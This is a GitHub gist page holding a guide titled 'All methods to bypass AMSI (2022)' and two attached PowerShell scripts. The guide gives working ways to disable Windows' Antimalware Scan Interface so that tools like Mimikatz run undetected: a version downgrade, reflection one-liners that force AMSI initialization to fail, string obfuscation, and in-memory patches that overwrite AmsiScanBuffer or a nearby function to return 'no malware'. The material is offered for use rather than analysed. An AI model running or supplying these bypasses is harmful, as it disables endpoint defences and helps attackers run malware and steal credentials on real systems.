Skip to content

Instantly share code, notes, and snippets.

@CalfCrusher
Forked from D3Ext/amsi-bypass.md
Created October 7, 2023 15:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CalfCrusher/9316c0f08487b51fc33536b0214bda36 to your computer and use it in GitHub Desktop.
Save CalfCrusher/9316c0f08487b51fc33536b0214bda36 to your computer and use it in GitHub Desktop.
All methods to bypass AMSI (2022)

AMSI Bypass

To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI

However some methods may be detected by the AV but most of them actually work without problem

Powershell downgrade

The first and worst way to bypass AMSI is downgrading powershell version to 2.0.

Just execute this

powershell -version 2.0

And now if you enter "Invoke-Mimikatz" it won't be flagged as malicious

¿Why is this method bad?

  • Because a lot of scripts won't work with this version

Forcing an error

Try to assign the AMSI scan function a boolean True value so AMSI initialization fails

Just execute this:

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)

Using Obfuscation

You can use simple obfuscation like summing strings like this:

"In"+"vo"+"ke"+"-M"+"im"+"ik"+"at"+"z"

And it also won't be detected

Patch Method

Here down you have a script which adds a "patch" in memory and deactivate the AMSI without more problem

Memory Hijacking

This technique hooks the AmsiScanBuffer() function to always return "no malware". Just execute the script and it should work

Here down you have the script

Obfuscated One-Liner

With this:

$a='si';$b='Am';$Ref=[Ref].Assembly.GetType(('System.Management.Automation.{0}{1}Utils'-f $b,$a)); $z=$Ref.GetField(('am{0}InitFailed'-f$a),'NonPublic,Static');$z.SetValue($null,$true)

You can deactivate the AMSI on the go without downloading any extra files (best technique)

References

https://amsi.fail/

https://www.hackingarticles.in/a-detailed-guide-on-amsi-bypass/

https://hackmag.com/security/fck-amsi/

https://sniferl4bs.com/2022/01/hacking-101-comprendiendo-que-es-amsi-y-como-saltar-el-control/

with ❤️ by D3Ext

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC,
0x49, 0x89, 0x5B, 0x08,
0x49, 0x89, 0x6B, 0x10,
0x49, 0x89, 0x73, 0x18,
0x57,
0x41, 0x56,
0x41, 0x57,
0x48, 0x83, 0xEC, 0x70
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF,
0x55,
0x8B, 0xEC,
0x83, 0xEC, 0x18,
0x53,
0x56
)
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0,
0xC3
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment